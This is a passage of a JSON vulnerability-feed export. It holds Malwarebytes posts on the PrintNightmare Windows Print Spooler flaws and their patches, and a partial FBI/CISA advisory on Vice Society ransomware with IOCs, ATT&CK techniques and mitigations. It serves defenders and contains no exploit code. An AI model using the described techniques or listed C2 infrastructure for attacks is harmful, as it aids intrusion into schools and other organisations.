"HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-01T14:08:26", "type": "malwarebytes", "title": "PrintNightmare 0-day can be used to take over Windows domain controllers", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-01T14:08:26", "id": "MALWAREBYTES:DA59FECA8327C8353EA012EA1B957C7E", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/printnightmare-0-day-can-be-used-to-take-over-windows-domain-controllers/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-14T12:38:34", "description": "Last week we wrote about [PrintNightmare](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/printnightmare-0-day-can-be-used-to-take-over-windows-domain-controllers/>), a vulnerability that was supposed to be patched but wasn&#x27;t. After June&#x27;s Patch Tuesday, researchers found that the patch did not work in every case, most notably on modern domain controllers. Yesterday, Microsoft issued a set of out-of-band patches that sets that aims to set that right by fixing the Windows Print Spooler Remote Code Execution vulnerability listed as [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>).\n\n### Serious problem\n\nFor Microsoft to publish an out-of-band patch a week before July&#x27;s Patch Tuesday shows just how serious the problem is.\n\nPrintNightmare allows a standard user on a Windows network to execute arbitrary code on an affected machine, and to elevate their privileges as far as domain admin, by feeding a vulnerable machine a malicious printer driver. The problem was exacerbated by confusion around whether PrintNightmare was a known, patched problem or an entirely new problem. In the event it turned out to be a bit of both.\n\nLast week the Cybersecurity and Infrastructure Security Agency (CISA) urged administrators to [disable the Windows Print Spooler service](<https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability>) in domain controllers and systems that don&#x27;t print.\n\nHowever, the installation of the Domain Controller (DC) role adds a thread to the spooler service that is responsible for removing stale print queue objects. If the spooler service is not running on at least one domain controller in each site, then Active Directory has no means to remove old queues that no longer exist.\n\nSo, many organizations were forced to keep the Print Spooler service enabled on some domain controllers, leaving them at risk to attacks using this vulnerability.\n\n### Set of patches\n\nDepending on the Windows version the patch will be offered as:\n\n * [KB5004945](<https://support.microsoft.com/en-us/topic/july-6-2021-kb5004947-os-build-17763-2029-out-of-band-71994811-ff08-4abe-8986-8bd3a4201c5d>) for Windows 10 version 2004, version 20H1, and version 21H1\n * [KB5004946](<https://support.microsoft.com/en-us/topic/july-6-2021-kb5004946-os-build-18363-1646-out-of-band-18c5ffac-6015-4b3a-ba53-a73c3d3ed505>) for Windows 10 version 1909\n * [KB5004947](<https://support.microsoft.com/en-us/topic/july-6-2021-kb5004947-os-build-17763-2029-out-of-band-71994811-ff08-4abe-8986-8bd3a4201c5d>) for Windows 10 version 1809 and Windows Server 2019\n * KB5004949 for Windows 10 version 1803 which is not available yet\n * [KB5004950](<https://support.microsoft.com/en-us/topic/july-6-2021-kb5004950-os-build-10240-18969-out-of-band-7f900b36-b3cb-4f5e-8eca-107cc0d91c50>) for Windows 10 version 1507\n * Older Windows versions (Windows 7 SP1, Windows 8.1 Server 2008 SP2, Windows Server 2008 R2 SP1, and Windows Server 2012 R2) will receive a security update that disallows users who are not administrators to install only signed print drivers to a print server.\n\nSecurity updates have not yet been released for Windows 10 version 1607, Windows Server 2016, or Windows Server 2012, but they will also be released soon, according to Microsoft.\n\nThe updates are cumulative and contain all previous fixes as well as protections for [CVE-2021-1675](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675>).\n\n### Not a complete fix\n\nIt is important to note that these patches and updates **only tackle the remote code execution (RCE) part** of the vulnerability. Several researchers have confirmed that the local privilege escalation (LPE) vector still works. This means that threat actors and already active malware can still locally exploit the vulnerability to gain SYSTEM privileges.\n\n### Advice\n\nMicrosoft recommends that you install this update immediately on all supported Windows client and server operating systems, starting with devices that currently host the print server role. You also have the option to configure the `RestrictDriverInstallationToAdministrators` registry setting to prevent non-administrators from installing signed printer drivers on a print server. See [KB5005010](<https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>) for more details.\n\n> \u201cThe attack vector and protections in CVE-2021-34527 reside in the code path that installs a printer driver to a Server. The workflow used to install a printer driver from a trusted print server on a client computer uses a different path. In summary, protections in CVE-2021-34527 including the RestrictDriverInstallationToAdministrators registry key do not impact this scenario.\u201d\n\nCISA encourages users and administrators to review the Microsoft Security Updates as well as CERT/CC Vulnerability Note [VU #383432](<https://www.kb.cert.org/vuls/id/383432>) and apply the necessary updates or workarounds.\n\n### Impact of the updates\n\nSo, the vulnerability lies in the normal procedure that allows users to install a printer driver on a server. A printer driver is in essence an executable like any other. And allowing users to install an executable of their choice is asking for problems. Especially combined with a privilege escalation vulnerability that anyone can use to act with SYSTEM privileges. The updates, patches, and some of the workarounds are all designed to limit the possible executables since they need to be signed printer drivers.\n\nFor a detailed and insightful diagram that shows GPO settings and registry keys administrators can check whether their systems are vulnerable, have a look at this flow chart diagram, courtesy of [Will Dormann](<https://twitter.com/wdormann>).\n\n> This is my current understanding of the [#PrintNightmare](<https://twitter.com/hashtag/PrintNightmare?src=hash&ref_src=twsrc%5Etfw>) exploitability flowchart. \nThere&#x27;s a small disagreement between me and MSRC at the moment about UpdatePromptSettings vs. NoWarningNoElevationOnUpdate, but I think it doesn&#x27;t matter much as I just have both for now. [pic.twitter.com/huIghjwTFq](<https://t.co/huIghjwTFq>)\n> \n> -- Will Dormann (@wdormann) [July 7, 2021](<https://twitter.com/wdormann/status/1412906574998392840?ref_src=twsrc%5Etfw>)\n\n### Information for users that applied 0patch\n\nIt is worth mentioning for the users that applied the PrintNightmare [micropatches by 0patch](<https://blog.0patch.com/2021/07/free-micropatches-for-printnightmare.html>) that according to 0patch it is better not to install the Microsoft patches. They posted on Twitter that the Microsoft patches that only fix the RCE part of the vulnerability disable the 0patch micropatch which fixes both the LPE and RCE parts of the vulnerability.\n\n> If you&#x27;re using 0patch against PrintNightmare, DO NOT apply the July 6 Windows Update! Not only does it not fix the local attack vector but it also doesn&#x27;t fix the remote vector. However, it changes localspl.dll, which makes our patches that DO fix the problem stop applying. <https://t.co/osoaxDVCoB>\n> \n> -- 0patch (@0patch) [July 7, 2021](<https://twitter.com/0patch/status/1412826130051174402?ref_src=twsrc%5Etfw>)\n\n### Update July 9, 2021\n\nOnly a little more than 12 hours after the release a researcher has found an exploit that works on a patched system under special circumstances. [Benjamin Delpy](<https://twitter.com/gentilkiwi?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1412771368534528001%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Farstechnica.com%2Fgadgets%2F2021%2F07%2Fmicrosofts-emergency-patch-fails-to-fix-critical-printnightmare-vulnerability%2F>) showed an exploit working against a Windows Server 2019 that had installed the out-of-band patch. In a demo Delpy shows that the update fails to fix vulnerable systems that use certain settings for a feature called [point and print](<https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-print>), which makes it easier for network users to obtain the printer drivers they need.\n\nIn Microsoft&#x27;s defense the advisory for [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) contains a note in the FAQ stating that:\n\n> Point and Print is not directly related to this vulnerability, but certain configurations make systems vulnerable to exploitation.\n\n### Update July 14, 2021\n\nThe Cybersecurity and Infrastructure Security Agency\u2019s (CISA) has issued [Emergency Directive 21-04](<https://cyber.dhs.gov/ed/21-04/>), \u201cMitigate Windows Print Spooler Service Vulnerability\u201d because it is aware of active exploitation, by multiple threat actors, of the PrintNightmare vulnerability. \n\nCISA has determined that this vulnerability poses an unacceptable risk to Federal Civilian Executive Branch agencies and requires emergency action. The actions CISA lists are required actions for the agencies. The determination that these actions are necessary is based on the current exploitation of this vulnerability by threat actors in the wild, the likelihood of further exploitation of the vulnerability, the prevalence of the affected software in the federal enterprise, and the high potential for a compromise of agency information systems. Exploitation of the vulnerability allows an attacker to remotely execute code with system level privileges enabling a threat actor to quickly compromise the entire identity infrastructure of a targeted organization. \n\nThe post [UPDATED: Patch now! Emergency fix for PrintNightmare released by Microsoft](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/patch-now-emergency-fix-for-printnightmare-released-by-microsoft/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-07T14:17:31", "type": "malwarebytes", "title": "UPDATED: Patch now! Emergency fix for PrintNightmare released by Microsoft", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-07T14:17:31", "id": "MALWAREBYTES:DB34937B6474073D9444648D34438225", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/patch-now-emergency-fix-for-printnightmare-released-by-microsoft/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-12T12:35:46", "description": "I doubt if there has ever been a more appropriate nickname for a vulnerable service than PrintNightmare. There must be a whole host of people in Redmond having nightmares about the Windows Print Spooler service by now.\n\nPrintNightmare is the name of a set of vulnerabilities that allow a standard user on a Windows network to execute arbitrary code on an affected machine (including domain controllers) as SYSTEM, allowing them to elevate their privileges as far as domain admin. Users trigger the flaw by simply feeding a vulnerable machine a malicious printer driver. The problem was made worse by [confusion](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/patch-now-emergency-fix-for-printnightmare-released-by-microsoft/>) around whether PrintNightmare was a known, patched problem or an entirely new problem. In the end it turned out to be a bit of both.\n\n### What happened?\n\nIn June, Microsoft patched a vulnerability in the Windows Print Spooler that was listed as [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>). At first it was classified as an elevation of privilege (EoP) vulnerability. Which means that someone with limited access to a system could raise their privilege level, giving them more power over the affected system. This type of vulnerability is serious, especially when it is found in a widely used service like the Windows Print Spooler. A few weeks after the patch Microsoft raised the level of seriousness to a remote code execution (RCE) vulnerability. RCE vulnerabilities allow a malicious actor to execute their code on a different machine on the same network.\n\nIn a rush to be the first to publish a proof-of-concept (PoC), researchers published a write-up and a demo exploit to demonstrate the vulnerability. Only to find out they had alerted the world to a new 0-day vulnerability by accident. This vulnerability listed as [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) was introduced under the name PrintNightmare.\n\nOminously, the researchers behind PrintNightmare predicted that the Print Spooler, which has seen its fair share of problems in the past, would be a fertile ground for further discoveries.\n\nAt the beginning of July, Microsoft issued a set of out-of-band patches to fix this Windows Print Spooler RCE vulnerability. Soon enough, several researchers figured out that local privilege escalation (LPE) still worked. This means that threat actors and already active malware can still exploit the vulnerability to gain SYSTEM privileges. In a demo, [Benjamin Delpy](<https://twitter.com/gentilkiwi>) showed that the update failed to fix vulnerable systems that use certain settings for a feature called Point and Print, which makes it easier for network users to obtain the printer drivers they need.\n\nOn July 13 the Cybersecurity and Infrastructure Security Agency (CISA) issued [Emergency Directive 21-04](<https://cyber.dhs.gov/ed/21-04/>), \u201cMitigate Windows Print Spooler Service Vulnerability\u201d because it became aware of multiple threat actors exploiting PrintNightmare.\n\nAlso in July, [CrowdStrike](<https://www.crowdstrike.com/blog/magniber-ransomware-caught-using-printnightmare-vulnerability/>) identified Magniber ransomware attempting to use a known PrintNightmare vulnerability to compromise victims.\n\n### An end to the nightmare?\n\nIn the August 10 [Patch Tuesday](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/printnightmare-and-rdp-rce-among-major-issues-tackled-by-patch-tuesday/>) update, the Print Spooler service was subject to _yet more_ patching, and Microsoft said that this time its patch should address all publicly documented security problems with the service.\n\nIn an unusual breaking change, one part of the update made admin rights required before using the Windows Point and Print feature.\n\n### Just one day later\n\nOn August 11, Microsoft released information about [CVE-2021-36958](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36958>), yet another 0-day that allows local attackers to gain SYSTEM privileges on a computer. Again, it was security researcher Benjamin Delpy who [demonstrated](<https://vimeo.com/581584478>) the vulnerability, showing that threat actors can still gain SYSTEM privileges simply by connecting to a remote print server.\n\n### Mitigation\n\nThe workaround offered by Microsoft is stopping and disabling the Print Spooler service, although at this point you may be seriously considering a revival of the paperless office idea. So:\n\n * Disable the Print Spooler service on machines that do not need it. Please note that stopping the service without disabling may not be enough.\n * For the systems that do need the Print Spooler service to be running make sure they are not exposed to the Internet.\n\nMicrosoft says it is investigating the vulnerability and working on (yet another) security update.\n\nLike I said [yesterday](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/printnightmare-and-rdp-rce-among-major-issues-tackled-by-patch-tuesday/>): To be continued.\n\nThe post [Microsoft&#x27;s PrintNightmare continues, shrugs off Patch Tuesday fixes](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/microsofts-printnightmare-continues-shrugs-off-patch-tuesday-fixes/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-12T11:30:26", "type": "malwarebytes", "title": "Microsoft\u2019s PrintNightmare continues, shrugs off Patch Tuesday fixes", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527", "CVE-2021-36958"], "modified": "2021-08-12T11:30:26", "id": "MALWAREBYTES:7F8FC685D6EFDE8FC4909FDA86D496A5", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/microsofts-printnightmare-continues-shrugs-off-patch-tuesday-fixes/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "ics": [{"lastseen": "2023-03-14T18:25:19", "description": "_**Note:** This joint Cybersecurity Advisory (CSA) is part of an ongoing [#StopRansomware](<https://www.cisa.gov/stopransomware/stopransomware>) effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources._\n\n**Actions to take today to mitigate cyber threats from ransomware:**\n\n\u2022 Prioritize and remediate known exploited vulnerabilities. \n\u2022 Train users to recognize and report phishing attempts. \n\u2022 Enable and enforce multifactor authentication.\n\nThe Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint CSA to disseminate IOCs and TTPs associated with Vice Society actors identified through FBI investigations as recently as September 2022. The FBI, CISA, and the MS-ISAC have recently observed Vice Society actors disproportionately targeting the education sector with ransomware attacks.\n\nOver the past several years, the education sector, especially kindergarten through twelfth grade (K-12) institutions, have been a frequent target of ransomware attacks. Impacts from these attacks have ranged from restricted access to networks and data, delayed exams, canceled school days, and unauthorized access to and theft of personal information regarding students and staff. The FBI, CISA, and the MS-ISAC anticipate attacks may increase as the 2022/2023 school year begins and criminal ransomware groups perceive opportunities for successful attacks. School districts with limited cybersecurity capabilities and constrained resources are often the most vulnerable; however, the opportunistic targeting often seen with cyber criminals can still put school districts with robust cybersecurity programs at risk. K-12 institutions may be seen as particularly lucrative targets due to the amount of [sensitive student data](<https://www.ic3.gov/Media/News/2022/220526.pdf>) accessible through school systems or their managed service providers.\n\nThe FBI, CISA, and the MS-ISAC encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents.\n\nDownload the PDF version of this report: pdf, 521 KB\n\nDownload the IOCs: [.stix 31 kb](<https://www.cisa.gov/uscert/sites/default/files/publications/AA22-249A.stix.xml>)\n\n### Technical Details\n\n**Note:** _This advisory uses the MITRE ATT&amp;CK_\u00ae_ for Enterprise framework, version 11. See _[_MITRE ATT&amp;CK for Enterprise_](<https://attack.mitre.org/versions/v11/matrices/enterprise/>)_ for all referenced tactics and techniques_.\n\nVice Society is an intrusion, exfiltration, and extortion hacking group that first appeared in summer 2021. Vice Society actors do not use a ransomware variant of unique origin. Instead, the actors have deployed versions of Hello Kitty/Five Hands and Zeppelin ransomware, but may deploy other variants in the future.\n\nVice Society actors likely obtain initial network access through compromised credentials by exploiting internet-facing applications [[T1190](<https://attack.mitre.org/versions/v11/techniques/T1190/>)]. Prior to deploying ransomware, the actors spend time exploring the network, identifying opportunities to increase accesses, and exfiltrating data [[TA0010](<https://attack.mitre.org/versions/v11/tactics/TA0010/>)] for double extortion--a tactic whereby actors threaten to publicly release sensitive data unless a victim pays a ransom. Vice Society actors have been observed using a variety of tools, including SystemBC, PowerShell Empire, and Cobalt Strike to move laterally. They have also used \u201cliving off the land\u201d techniques targeting the legitimate Windows Management Instrumentation (WMI) service [[T1047](<https://attack.mitre.org/versions/v11/techniques/T1047/>)] and tainting shared content [[T1080](<https://attack.mitre.org/versions/v11/techniques/T1080/>)].\n\nVice Society actors have been observed exploiting the PrintNightmare vulnerability ([CVE-2021-1675](<https://nvd.nist.gov/vuln/detail/CVE-2021-1675>) and [CVE-2021-34527](<https://nvd.nist.gov/vuln/detail/CVE-2021-34527>) ) to escalate privileges [[T1068](<https://attack.mitre.org/versions/v11/techniques/T1068/>)]. To maintain persistence, the criminal actors have been observed leveraging scheduled tasks [[T1053](<https://attack.mitre.org/versions/v11/techniques/T1053/>)], creating undocumented autostart Registry keys [[T1547.001](<https://attack.mitre.org/techniques/T1547/001/>)], and pointing legitimate services to their custom malicious dynamic link libraries (DLLs) through a tactic known as DLL side-loading [[T1574.002](<https://attack.mitre.org/versions/v11/techniques/T1547/002/>)]. Vice Society actors attempt to evade detection through masquerading their malware and tools as legitimate files [[T1036](<https://attack.mitre.org/versions/v11/techniques/T1036/>)], using process injection [[T1055](<https://attack.mitre.org/versions/v11/techniques/T1055/>)], and likely use evasion techniques to defeat automated dynamic analysis [[T1497](<https://attack.mitre.org/versions/v11/techniques/T1497/>)]. Vice Society actors have been observed escalating privileges, then gaining access to domain administrator accounts, and running scripts to change the passwords of victims\u2019 network accounts to prevent the victim from remediating. \n\n### Indicators of Compromise (IOCs)\n\n**Email Addresses** \n--- \nv-society.official@onionmail[.]org \nViceSociety@onionmail[.]org \nOnionMail email accounts in the format of [First Name][Last Name]@onionmail[.]org \n \n**TOR Address** \n--- \nhttp://vsociethok6sbprvevl4dlwbqrzyhxcxaqpvcqt5belwvsuxaxsutyad[.]onion \n \n**IP Addresses for C2** | **Confidence Level** \n---|--- \n5.255.99[.]59 | High Confidence \n5.161.136[.]176 | Medium Confidence \n198.252.98[.]184 | Medium Confidence \n194.34.246[.]90 | Low Confidence \n \n_See Table 1 for file hashes obtained from FBI incident response investigations in September 2022._\n\n_Table 1: File Hashes as of September 2022_\n\n**MD5** | **SHA1** \n---|--- \nfb91e471cfa246beb9618e1689f1ae1d | a0ee0761602470e24bcea5f403e8d1e8bfa29832 \n| 3122ea585623531df2e860e7d0df0f25cce39b21 \n| 41dc0ba220f30c70aea019de214eccd650bc6f37 \n| c9c2b6a5b930392b98f132f5395d54947391cb79 \n \n### MITRE ATT&amp;CK TECHNIQUES\n\nVice Society actors have used ATT&amp;CK techniques, similar to Zeppelin techniques, listed in Table 2.\n\n_Table 2: Vice Society Actors ATT&amp;CK Techniques for Enterprise_\n\n**_Initial Access_** \n \n--- \n \n**Technique Title**\n\n| \n\n**ID**\n\n| \n\n**Use** \n \nExploit Public-Facing Application\n\n| \n\n[T1190](<https://attack.mitre.org/versions/v11/techniques/T1190/>)\n\n| \n\nVice Society actors exploit vulnerabilities in an internet-facing systems to gain access to victims\u2019 networks. \n \nValid Accounts\n\n| \n\n[T1078](<https://attack.mitre.org/versions/v11/techniques/T1078/>)\n\n| \n\nVice Society actors obtain initial network access through compromised valid accounts. \n \n**_Execution_** \n \n**Technique Title**\n\n| \n\n**ID**\n\n| \n\n**Use** \n \nWindows Management Instrumentation (WMI)\n\n| \n\n[T1047](<https://attack.mitre.org/versions/v11/techniques/T1047/>)\n\n| \n\nVice Society actors leverage WMI as a means of \u201cliving off the land\u201d to execute malicious commands. WMI is a native Windows administration feature. \n \nScheduled Task/Job\n\n| \n\n[T1053](<https://attack.mitre.org/versions/v11/techniques/T1053/>)\n\n| \n\nVice Society have used malicious files that create component task schedule objects, which are often mean to register a specific task to autostart on system boot. This facilitates recurring execution of their code. \n \n**_Persistence_** \n \n**Technique Title**\n\n| \n\n**ID**\n\n| \n\n**Use** \n \nModify System Process\n\n| \n\n[T1543.003](<https://attack.mitre.org/versions/v11/techniques/T1543/003/>)\n\n| \n\nVice Society actors encrypt Windows Operating functions to preserve compromised system functions. \n \nRegistry Run Keys/Startup Folder\n\n| \n\n[T1547.001](<https://attack.mitre.org/versions/v11/techniques/T1547/001/>)\n\n| \n\nVice Society actors have employed malicious files that create an undocumented autostart Registry key to maintain persistence after boot/reboot. \n \nDLL Side-Loading\n\n| \n\n[T1574.002](<https://attack.mitre.org/versions/v11/techniques/T1547/002/>)\n\n| \n\nVice Society actors may directly side-load their payloads by planting their own DLL then invoking a legitimate application that executes the payload within that DLL. This serves as both a persistence mechanism and a means to masquerade actions under legitimate programs. \n \n**_Privilege Escalation_** \n \n**Technique Title**\n\n| \n\n**ID**\n\n| \n\n**Use** \n \nExploitation for Privilege Escalation\n\n| \n\n[T1068](<https://attack.mitre.org/versions/v11/techniques/T1068/>)\n\n| \n\nVice Society actors have been observed exploiting PrintNightmare vulnerability ([CVE-2021-1675](<https://nvd.nist.gov/vuln/detail/CVE-2021-1675>) and [CVE-2021-34527](<https://nvd.nist.gov/vuln/detail/CVE-2021-34527>)) to escalate privileges. \n \n**_Defense Evasion_** \n \n**Technique Title**\n\n| \n\n**ID**\n\n| \n\n**Use** \n \nMasquerading\n\n| \n\n[T1036](<https://attack.mitre.org/versions/v11/techniques/T1036/>)\n\n| \n\nVice Society actors may attempt to manipulate features of the files they drop in a victim\u2019s environment to mask the files or make the files appear legitimate. \n \nProcess Injection\n\n| \n\n[T1055](<https://attack.mitre.org/versions/v11/techniques/T1055/>)\n\n| \n\nVice Society artifacts have been analyzed to reveal the ability to inject code into legitimate processes for evading process-based defenses. This tactic has other potential impacts, including the ability to escalate privileges or gain additional accesses. \n \nSandbox Evasion\n\n| \n\n[T1497](<https://attack.mitre.org/versions/v11/techniques/T1497/>)\n\n| \n\nVice Society actors may have included sleep techniques in their files to hinder common reverse engineering or dynamic analysis. \n \n**_Lateral Movement_** \n \n**Technique Title**\n\n| \n\n**ID**\n\n| \n\n**Use** \n \nTaint Shared Content\n\n| \n\n[T1080](<https://attack.mitre.org/versions/v11/techniques/T1080/>)\n\n| \n\nVice Society actors may deliver payloads to remote systems by adding content to shared storage locations such as network drives. \n \n**_Exfiltration_** \n \n**Technique Title**\n\n| \n\n**ID**\n\n| \n\n**Use** \n \nExfiltration\n\n| \n\n[TA0010](<https://attack.mitre.org/versions/v11/tactics/TA0010/>)\n\n| \n\nVice Society actors are known for double extortion, which is a second attempt to force a victim to pay by threatening to expose sensitive information if the victim does not pay a ransom. \n \n**_Impact_** \n \n**Technique Title**\n\n| \n\n**ID**\n\n| \n\n**Use** \n \nData Encrypted for Impact\n\n| \n\n[T1486](<https://attack.mitre.org/versions/v11/techniques/T1486/>)\n\n| \n\nVice Society actors have encrypted data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. \n \nAccount Access Removal\n\n| \n\n[T1531](<https://attack.mitre.org/versions/v11/techniques/T1531/>)\n\n| \n\nVice Society actors run a script to change passwords of victims\u2019 email accounts. \n \n### Mitigations\n\nThe FBI and CISA recommend organizations, particularly the education sector, establish and maintain strong liaison relationships with the FBI Field Office in their region and their regional CISA Cybersecurity Advisor. The location and contact information for FBI Field Offices and CISA Regional Offices can be located at [www.fbi.gov/contact-us/field-offices](<http://www.fbi.gov/contact-us/field-offices>) and www.cisa.gov/cisa-regions, respectively. Through these partnerships, the FBI and CISA can assist with identifying vulnerabilities to academia and mitigating potential threat activity. The FBI and CISA further recommend that academic entities review and, if needed, update incident response and communication plans that list actions an organization will take if impacted by a cyber incident.\n\nThe FBI, CISA, and the MS-ISAC recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Vice Society actors:\n\n**Preparing for Cyber Incidents**\n\n * **Maintain offline backups of data,** and regularly maintain backup and restoration. By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data.\n * **Ensure all backup data is encrypted, immutable** (i.e., cannot be altered or deleted), and covers the entire organization\u2019s data infrastructure. Ensure your backup data is not already infected.\n * **Review the security posture of third-party vendors and those interconnected with your organization.** Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity.\n * **Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs** under an established security policy.\n * **Document and monitor external remote connections.** Organizations should document approved solutions for remote management and maintenance, and immediately investigate if an unapproved solution is installed on a workstation.\n * **Implement a recovery plan** to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud).\n\n**Identity and Access Management**\n\n * **Require all accounts** with password logins (e.g., service account, admin accounts, and domain admin accounts) **to comply** with [National Institute of Standards and Technology (NIST) standards](<https://pages.nist.gov/800-63-3/>) for developing and managing password policies. \n * Use longer passwords consisting of at least 8 characters and no more than 64 characters in length;\n * Store passwords in hashed format using industry-recognized password managers;\n * Add password user \u201csalts\u201d to shared login credentials;\n * Avoid reusing passwords;\n * Implement multiple failed login attempt account lockouts;\n * Disable password \u201chints\u201d;\n * Refrain from requiring password changes more frequently than once per year unless a password is known or suspected to be compromised. \n**Note:** NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password \u201cpatterns\u201d cyber criminals can easily decipher.\n * Require administrator credentials to install software.\n * **Require phishing-resistant multifactor authentication** for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems.\n * **Review domain controllers, servers, workstations, and active directories** for new and/or unrecognized accounts.\n * **Audit user accounts** with administrative privileges and configure access controls according to the principle of least privilege. \n * **Implement time-based access for accounts set at the admin level and higher.** For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.\n\n**Protective Controls and Architecture**\n\n * **Segment networks** to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between\u2014and access to\u2014various subnetworks and by restricting adversary lateral movement.\n * **Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool.** To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.\n * **Install, regularly update, and enable real time detection for antivirus software** on all hosts.\n * **Secure and closely monitor** remote desktop protocol (RDP) use. \n * Limit access to resources 